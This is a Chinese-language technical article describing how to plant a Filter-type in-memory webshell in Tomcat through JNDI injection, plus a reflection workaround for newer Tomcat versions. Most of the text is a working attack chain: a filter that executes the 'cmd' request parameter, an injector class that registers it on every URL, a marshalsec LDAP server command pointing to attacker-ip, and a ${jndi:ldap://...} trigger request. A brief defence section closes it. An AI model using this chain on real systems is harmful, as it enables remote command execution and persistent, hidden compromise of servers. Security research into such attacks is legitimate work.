JNDI注入内存马并绕过Tomcat高版本
字数 1605 2025-08-30 06:50:11
JNDI注入内存马并绕过Tomcat高版本技术分析
一、内存马概述
内存马是一种驻留在内存中的后门技术,不需要在磁盘上存储文件,具有隐蔽性强、难以检测的特点。常见的内存马类型包括:
- 基于Servlet API的内存马:动态注册Servlet、Filter或Listener
- 基于SpringMVC的内存马:动态注册Controller或Interceptor
- 基于Tomcat Pipeline和Valve机制的内存马
- Agent内存马:通过Java Agent技术修改已加载类的字节码
为什么选择Filter内存马
- 通用性强:不依赖SpringMVC框架也能使用
- 优先级高:Filter比Servlet有更高的执行优先级,能绕过某些鉴权机制
- 隐蔽性好:通过动态注册实现,不修改原有文件
二、JNDI注入原理
JNDI(Java Naming and Directory Interface)允许通过命名服务动态加载远程对象。当lookup()方法的URL参数可控时,攻击者可构造恶意JNDI服务地址(RMI/LDAP),诱导客户端访问攻击者控制的目录服务。
JNDI注入流程
-
攻击端准备:
- 编写恶意类
- 编译恶意类并托管在HTTP服务器
- 启动LDAP/RMI服务并将引用指向HTTP服务器上的恶意类
-
受害者端触发:
- 客户端执行可控代码:
context.lookup("ldap://attacker-ip:1389/Exploit") - JNDI客户端请求LDAP/RMI服务
- LDAP/RMI返回恶意Reference对象
- 客户端解析Reference时:
- 从codebase指定URL动态加载
- 实例化恶意类触发构造函数/static代码块
- 客户端执行可控代码:
三、内存马与JNDI结合
技术难点
JNDI加载的类中只有三个地方会被自动执行:
static{}静态代码块{}实例初始化块- 无参构造方法
这些地方没有Request对象传入,需要特殊方法获取StandardContext。
获取StandardContext的方法
Tomcat环境获取方法
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Spring框架环境获取方法
RequestAttributes requestAttributes = RequestContextHolder.currentRequestAttributes();
HttpServletRequest request = ((ServletRequestAttributes) requestAttributes).getRequest();
四、实战注入过程
环境准备
- 受害者环境:Tomcat8(非8.5及以上版本) + Java8u62
- 攻击者环境:Java8 + 恶意类编译环境
恶意类编写
- 后门Servlet:执行cmd参数中的命令并返回结果
public class ShellFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
- 动态注册Filter的Inject类:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Inject implements ObjectFactory {
public static String code = "恶意Filter的base64编码";
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
// 获取StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 动态创建Filter类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(Base64.getDecoder().decode(code)));
Class<?> clazz = ctClass.toClass();
// 动态注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(clazz.getName());
filterDef.setFilter(clazz.newInstance());
standardContext.addFilterDef(filterDef);
// 设置Filter映射
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
return null;
}
}
攻击步骤
- 编译Inject类并托管在HTTP服务器
- 启动LDAP/RMI服务指向恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker-ip:8000/#Inject" 1389 - 触发受害者访问恶意JNDI地址
GET /vuln?input=${jndi:ldap://attacker-ip:1389/Inject} HTTP/1.1 - 验证内存马
GET /anypath?cmd=whoami HTTP/1.1
五、Tomcat高版本绕过
在Tomcat 9+版本中,WebappClassLoaderBase.getResources()方法已被弃用,直接调用会返回null。需要通过反射获取resources属性:
Field resourcesField = webappClassLoaderBase.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoaderBase);
Method getContextMethod = resources.getClass().getDeclaredMethod("getContext");
getContextMethod.setAccessible(true);
StandardContext standardContext = (StandardContext) getContextMethod.invoke(resources);
六、防御措施
- 升级JDK:使用JDK 8u191及以上版本,默认
com.sun.jndi.ldap.object.trustURLCodebase=false - 输入过滤:严格过滤用户输入的JNDI相关字符串
- 安全配置:
- 设置
com.sun.jndi.ldap.object.trustURLCodebase=false - 限制JNDI只能访问可信源
- 设置
- 运行时防护:使用RASP等运行时防护产品检测异常行为
- 代码审计:检查所有
lookup()调用是否使用可信数据源
七、总结
本文详细分析了通过JNDI注入内存马的技术原理和实现方法,包括:
- 内存马的类型和选择依据
- JNDI注入的基本原理和流程
- 动态注册Filter内存马的具体实现
- Tomcat高版本的兼容性问题及解决方案
- 完整的攻击演示过程
这种攻击方式结合了JNDI注入和内存马技术,具有极强的隐蔽性和危害性,防御者需要从多个层面进行防护。